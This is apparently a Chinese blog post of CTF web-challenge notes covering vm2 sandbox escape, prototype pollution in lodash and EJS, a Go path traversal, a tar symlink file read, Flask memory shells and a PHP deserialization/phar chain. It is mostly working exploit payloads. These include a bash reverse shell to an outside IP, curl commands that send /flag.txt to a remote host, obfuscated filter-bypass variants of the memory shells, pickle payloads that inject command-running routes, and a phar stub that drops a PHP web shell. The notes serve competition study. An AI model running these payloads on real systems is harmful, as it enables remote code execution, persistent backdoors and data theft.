那些年日穿我的web知识(五)
本文最后更新于37 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

vm2沙箱逃逸

首先来看源代码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

可以看到有很明显的merge函数,就是要让我们打原型链污染。只要POST传入shit参数,就可以出发clone方法和backdoor方法,就可以出发merge函数。然后有可以看到backdoor利用的是VM2来执行shellcode,也就是说最终我们需要污染的对象就是shellcode

然后就是关于vm2沙箱逃逸的poc如下

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

当然也可以进行反弹shell

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >&/dev/tcp/106.52.94.23/2333 0>&1'\").toString();"}}

然后从这里就延伸出一个问题,就是我压根就不了解vm,于是,接下来就开始学习vm沙箱逃逸(ok暂时没空学这个,先鸽了)

express-validator 6.6.0 原型链污染

今天看到一道原型链污染的题目,先看看关键代码

app.post("/login", (req, res) => {
    console.log(req.body)
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    if (req.body.password == "D0g3_Yes!!!") {
        console.log(info.system_open)
        if (info.system_open == "yes") {
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        } else {
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    } else {
        return res.status(400).send("Login Fail, Password Wrong!")
    }
})

然后再来看看配置

{
  "name": "validator",
  "version": "1.0.0",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "express": "^4.17.1",
    "express-static": "^1.2.6",
    "express-validator": "^6.6.0",
    "fs": "0.0.1-security",
    "lodash": "^4.17.16"
  }
}

很明显,要污染的对象就是info.system_open,但是常规的污染手段并不能做到污染,和他的express-validator有关

lodash < 4.17.17 原型链污染

下面是我们平时正常的原型链污染

lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

express-validator的依赖包中,lodash的安装版本最低为4.17.15的,所以在一定条件下会存在原型链污染漏洞。(lodash在4.17.17以下存在原型链污染漏洞)

然后就是直接说poc,分析的话可以看这一篇文章

安洵杯2020 官方Writeup(Web/Misc/Crypto) – D0g3-先知社区

{"password":"D0g3_Yes!!!", "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes" }

五字符RCE

看到一个rce挺牛逼的,先贴上源码

<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

可以看到,用的是白名单,也就是说,只能用$, {, #, }, \, (, <, ), ‘, 0 来进行命令注入。于是就有了接下来的五字符rce

转换平台如下

https://probiusofficial.github.io/bashFuck

Golang下的目录穿越

再做到justCTF2020的一道题目的时候碰到了go语言,但是我其实看不懂go语言,不过没事,大概还是能看懂整体逻辑,记录一下poc即可

package main

import (
	"fmt"
	"io"
	fs "main/fs"
	"net/http"
	"os"
)

const FILE_MARKER = "\n\n~~~~~~~~~~~~~~ Generated by Go FileServ v0.0.0b ~~~~~~~~~~~~~\n\n(because writing file servers is eeaaassyyyy & fun!!!1111oneone)"
const VERSION = "FileServ v0.0.0b"

type wrapperW struct {
	http.ResponseWriter
}

func (w *wrapperW) ReadFrom(src io.Reader) (int64, error) {
	// if its a file, add the file marker length to its size
	if lr, ok := src.(*io.LimitedReader); ok {
		lr.N += int64(len(FILE_MARKER))
	}

	if w, ok := w.ResponseWriter.(interface{ ReadFrom(src io.Reader) (int64, error) }); ok {
		return w.ReadFrom(src)
	}

	panic("unreachable")
}

func main() {
	var path string
	if len(os.Args) < 2 {
		fmt.Println("Defaulting to serving current directory. Use ./fs <path> to serve different")
		path, _ = os.Getwd()
	} else {
		path = os.Args[1]
	}

	fileServ := http.FileServer(fs.CreateFileServFS(
		path,
		// Modify all responses by adding the file marker to them
		// we also need to adjust the file size in the ReadFrom because of to that...
		func(in []byte) (out []byte) {
			out = append(in, FILE_MARKER...)
			return
		}))

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w = &wrapperW{w}
		fileServ.ServeHTTP(w, r)
	})

	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w.Write([]byte(`No flag for you!`))
	})

    port := "8080"
    fmt.Println("Hosting on port", port)
	err := http.ListenAndServe(":"+port, nil)
	fmt.Println(err)
}

以上是源代码,很显然我们看到有一个flag路由,但是我们一访问这个路由,他就会爆出No flag for you!,然后这个时候说实话我已经开始看不懂了,不过我的理解应该是他阻止了我们对/flag的http请求,所以我们要做的其实就是尝试目录穿越来读取到flag文件。

然后尝试过../../../flag这个路径之后会发现网址会自动删除掉../,这样子我们访问的依旧是/flag路由,因此这个时候就要用到poc了。

在poc中介绍了一种方法可以完整的使用../../路径而不会被删除,即为以下poc

curl -X CONNECT --path-as-is http://node4.anna.nssctf.cn:28150/../flag    //--path-as-is告诉url不要规范化路径,即保留../

在CONCECT模式下,路径和主机将原封不动地用于 CONNECT 请求。

data协议差异

做到一道题目,学了一些冷门的知识。

<?php
    stream_wrapper_unregister('php');
    if(isset($_GET['hl'])) highlight_file(__FILE__);

    $mkdir = function($dir) {
        system('mkdir -- '.escapeshellarg($dir));
    };
    $randFolder = bin2hex(random_bytes(16));
    $mkdir('users/'.$randFolder);
    chdir('users/'.$randFolder);

    $userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    $userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

    $mkdir($userFolder);
    chdir($userFolder);
    file_put_contents('profile',print_r($_SERVER,true));
    chdir('..');
    $_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
        include($_GET['page']);
    }

    chdir(__DIR__);
    system('rm -rf users/'.$randFolder);

?>

stream_wrapper_unregister(‘php’); :禁用php流,也就是说php开头的伪协议一个都不能用。

allow_url_include=Off时,include函数不支持 include data URI 的,也就是说:file_get_contents在处理data:,xxx时会直接取xxx ,而include会包含文件名为data:,xxx****的文件

当allow_url_include=Off时,include不支持data伪协议。file_get_contents是读取而include是包含
这两者还是有区别的。所以我们传file_get_contents('data://text/plain,aa/profile')​时会得到aa/profile​字符串而include因为不包含data伪协议。就会把data://text/plain,aa​当作一个目录,去包含下面的profile文件

但是这里出现一个问题,我们名字里有斜杠,是不合法的,其实直接使用data:,aa或者时data:aa就行
我们可以传值XFF为data:aa​就会创建data:aa​这个文件夹。然后包含data:aa/profile

软连接绕过

关于文件上传类的问题,如果只能上传tar文件并且可以对tar文件进行读取的话,今天学到了一个思路,就是通过建立一个软连接,来让题目间接读取到我们想要读取的文件

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

以上是本体的源代码,代码功能一眼就能看懂不赘述,接下来是poc

ln -sf /flag flag_link && tar -cf flag_archive.tar flag_link

以上是关于建立一个带有软连接的文件并压缩成tar文件的命令。

通过以下命令上传文件

curl -X POST -F "file=@xxxxx" url

接着读取tar下的文件,就可以做到通过软连接进行目录穿越

ejs原型链污染

这里就记录一下payload

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

然后就是遇到了__proto__被过滤的情况

可以使用prototype进行绕过

{
"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/cat /flag.txt');//"
}

再贴一个CRLF转换的脚本

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') 

print(payload)

python内存马

最近在做到GHCTF的ezpickle的时候遇到了内存马,就学习了下内存马的相关知识来充实一下我那贫瘠的知识库。

首先要认识一些函数 app.add_url_rule

app.add_url_rule('/index/',endpoint='index',view_func=index)

三个参数:

url:必须以/开头

endpoint:(站点)

view_func:方法 只需要写方法名也可以为匿名参数,如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。

匿名函数lamba

lambda arguments: expression

具体用法如下,一眼就能看会就不赘述了

ok接下来就来看看我们的老牌内存马(flask<=2.1.3)

url_for.__globals__['__builtins__']['eval'](
	"app.add_url_rule(
		'/shell', 
		'shell', 
		lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
	)",
	{
		'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
		'app':url_for.__globals__['current_app']
	}

大体上格式和常规的SSTI差距不大,lambda后面那一串看不懂不要紧,先看括号里的参数,就是接收cmd传参,然后没有shell命令的情况下默认执行whoami。

接下来我们来看

{
		'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
		'app':url_for.__globals__['current_app']
}

_request_ctx_stack是什么呢,这就要涉及到python打内存马的原理

当网页请求进入Flask时, 会实例化一个Request Context. 在Python中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.

_request_ctx_stack其实就是一个栈结构,然后这样的话你也就能看到那个popen那里写了个什么东西,就是从栈顶去获取元素然后构造恶意请求

ByPass

从网上的文章里看到的,直接搬过来了

  • url_for可替换为get_flashed_messages或者request.__init__或者request.application.
  • 代码执行函数替换, 如exec等替换eval.
  • 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
  • __globals__可用__getattribute__('__globa'+'ls__')替换.
  • []可用.__getitem__().pop()替换.
  • 过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
  • 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
  • 过滤了.可以采用attr()[]绕过.
  • 其它的手法参考SSTI绕过过滤的方法即可…

这里给出两个变形Payload:

  • Payload
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
  • 变形Payload-1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
  • 变形Payload-2
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

新版flask打内存马

这里是看到gxngxngxn的文章之后学会的内存马姿势,详细可以去看看这位大佬的博客

新版FLASK下python内存马的研究 – gxngxngxn – 博客园

新版本的flask已经不支持add_url_rule来添加路由了,所以就需要一些别的函数来进行路由的添加,于是就诞生了下面的这些方法的打法。

before_request 方法

那么我们跳转到这个方法的定义来看看这个函数

可以看到,我们可以通过构造append中的f来进行注入,这就是使用这个函数的理由

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

after_request方法

原理基本上是一样的

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

errorhandler方法

这个我说白了能调用到也是挺吊的,这里就是用到了这个注册报错页面的机制,这个函数就是用来定义404页面的内容的,那么我们就可以自定义f的内容,也就是说同样可以执行恶意代码。但是这玩意儿的前面部分是真的不好构造,只能说作者确实牛逼

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)

其他的一些冷门内存马姿势

在做到巅峰极客的一道题目的时候遇到的payload,关键代码如下

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
            {"app": app})
        access = True
        return result  # 返回计算结果
    return "fight"
 

有很明显的ssti漏洞,但是这个题目有限制,无回显+access限制。access的存在使得我们每开启一次就只能打一次payload,如果一次不能成功就只能重启靶机。

那么先看一下其中一个payload

lipsum.__globals__['__builtins__']['exec']("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('cat /flag')")

其中的原理其实我并没有很清楚,所以我也就只能从回头变强了再来解释

目前可以知道的时候就是篡改了内置函数open,但是为什么是篡改open,还有lambda x,y这个参数也是没有看到那个构造的意思

在一个就是jinjia2下构造出python内存马,似乎是因为flask框架和jinjia2不一样,所以上面的函数都不能用了,因此需要另寻一个新的函数去构造

config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

可以看到有一个add_api_route函数可以用于构造路由,那么接下来就是常规构造内存马

S9强网杯——EZPHP

在打强网的时候碰到的一个很有难度的反序列化。记录一下所学,但是i春秋的题目懂得都懂,没有环境也没有docker,所以我没办法本地复现的。

<?php
//生成小写字母随机组成的8位字符串
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}
date_default_timezone_set('Asia/Shanghai'); //设置时区为上海
class test {
    public $readflag;
    public $f;
    public $key;
    public function __construct() { //在构造时赋值 readflag 为一个匿名类实例
        $this->readflag = new class {
            public function __construct() {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { //当file上传成功时
                    $time = date('Hi'); //获取当前时间的小时和分钟组成的字符串
                    $filename = $GLOBALS['filename']; //获取全局变量filename
                    $seed = $time . intval($filename);// 用时间和filename生成种子 
                    mt_srand($seed); //设置随机数种子

                    $uploadDir = 'uploads/'; //上传目录
                    $files = glob($uploadDir . '*'); //获取上传目录下的所有文件
                    foreach ($files as $file) {//遍历文件
                        if (is_file($file)) //检查是否为文件
                            unlink($file);//删除文件
                    }
                    $randomStr = generateRandomString(8);  //生成小写字母随机组成的8位字符串
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; //构造新的文件名
                    $GLOBALS['file'] = $newFilename;//将新文件名存入全局变量file
                    $uploadedFile = $_FILES['file']['tmp_name'];//获取上传文件的临时路径
                    $uploadPath = $uploadDir . $newFilename;//构造上传文件的目标路径
                    if (system("cp " . $uploadedFile . " " . $uploadPath)) {//使用system函数复制文件
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }
            public function __wakeup() {//反序列化时调用
                phpinfo();//输出PHP配置信息
            }
            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {//检查全局变量file是否存在
                        $file = $GLOBALS['file'];//获取文件名
                        $file = basename($file);//防止目录遍历攻击
                        if (preg_match('/:\/\//', $file)) die("error");//检查文件名中是否包含://
                        $file_content = file_get_contents("uploads/" . $file);//读取文件内容
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {//检查文件内容中是否包含非法内容,黑名单如下: <? , :// , ph , ?=
                            die("Illegal content detected in the file.");//如果包含则终止执行
                        }
                        include("uploads/" . $file);//包含文件
                    }
                }
            }
        };
    }
    public function __destruct() {//在对象销毁时调用
        $func = $this->f;//获取函数名或类名
        $GLOBALS['filename'] = $this->readflag;//将readflag属性存入全局变量filename
        if ($this->key == 'class') new $func();//实例化类
        else if ($this->key == 'func') {//调用函数
            $func();//调用函数
        } else {
            highlight_file('index.php');//显示index.php文件内容
        }
    }
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
?>

以上是源代码,可以看到分析下来,可以利用的点只有readflag函数里头的include文件包含。难点在于readflag在匿名函数里头,关于匿名函数该怎么调用想了很久也没有想出来,最后这题也是不了了之。看了LamentXU的文章之后有所启发。

首先是匿名类的类名查看,匿名类都是有名字的,这个在打比赛的时候我也想到了,但是以前碰到匿名类的时候只知道一部分的知识点,并不完整,所以对匿名类没有很深入的了解。首先是如何查看匿名类的类名,用的是get_class函数

<?php
eval('$a=new class{};');
echo get_class($a);
?>

//class@anonymousD:\App\VScode\C++Workpace\2.php(2) : eval()'d code:1$0

根据回显可以看到匿名类的命名规则

%00 + 函数 + 路径 : 行号$序号

注意匿名类的类名前面是有个%00的并没有回显出来。然后这个(2)是什么意思呢,匿名类是在我这个代码的第二行被定义的,然后code:1是什么意思呢,这个匿名类是通过 eval() 执行的字符串中的第 1 行定义的代码

那么原来的代码是长这样的

<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

我们不知道路径,但是可以通过构造phpinfo来调用phpinfo查看路径

<?php
$a=new test();
$b=new $a;
$b->key='func';
$b->f='phpinfo';
?>

通过以下构造可以得到phpinfo,这里没有截图就算了。路径为/var/www/html/index.php

于是我们就可以推测出题目中匿名类的真名为

%00readflag/var/www/html/index.php(1) : eval()\'d code:1$序号

然后接下来就是我最想知道的知识点,就是怎么调用匿名类中的方法。我根据领导的方法去构造,可以进到匿名函数里头,但是没有办法去执行readflag函数。然后就了解到调用匿名函数里头的方法,可以使用array函数进行调用,然后我们又知道匿名类的名字,就可以进行直接调用。(还需要知道的是,因为源代码中又构造匿名类函数的命令,而在php7+中,不能创建匿名类,因此会一直报错,这就是为什么别人做php题目的时候都喜欢删干净里面的东西,我也是才意识到这个问题)

<?php
class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        
    }
}
$a = new test();
$a -> readflag = 'a';
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b->readflag='a';
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';
echo serialize(array($a,$b));

所以这样子来看数组确实是很好用的,但是以前一直不知道这一点,那么为什么最后要来一个array($a,$b)呢,因为$GLOBALS不会在不同请求中共享,所以我们必须在一个请求内创建new test()和调用readflag()

ok接下来就是要怎么搞文件的问题了,我们得传文件上去,然后这个文件我们需要用到的是phar文件。可是代码拼接了文件名,导致我们不管上传什么都是以jpg结尾的。那么我么你要如何去构造phar文件尾呢。可以看到种子是可以构造的,于是我们可以通过爆破种子的原理去构建我们想要的文件名。

<?php
//生成小写字母随机组成的8位字符串
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}
date_default_timezone_set('Asia/Shanghai'); //设置时区为上海
for($i=1;$i<=1000000;$i++)
{
    $time = date('Hi');
    $seed = $time . intval($i);
    mt_srand($seed); //设置随机数种子
    $str=generateRandomString();
     //生成小写字母随机组成的8位字符串
     if(substr($str,0,4)==='phar')
     {
        echo $i;
        echo $str;
        break;
     }
}

这里我是想用数字去构造phar,感觉这样比较简单一点。不过接下来就不好测试就是了,当然还是由于我太菜了,不会本地测试沟槽的。

跑出来的数字赋值给readflag就看可以让随机文件名构造出含有.phar的文件名。接下来再进行常规的phar构造即可

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

敏感的人就会发现这里头的逻辑不对,因为明明随机出来的是八位字符串,那么根据我的代码只能保证前四位为phar,但是为什么依然可以保证phar文件的功能性,这就是我又学到的另外一个知识点。

我们来看看phar的底层代码,首先定位到phar_compile_file

可以看到phar的判断条件,只要有.phar,就会跑到下一个判断,调用phar_open_from_filename

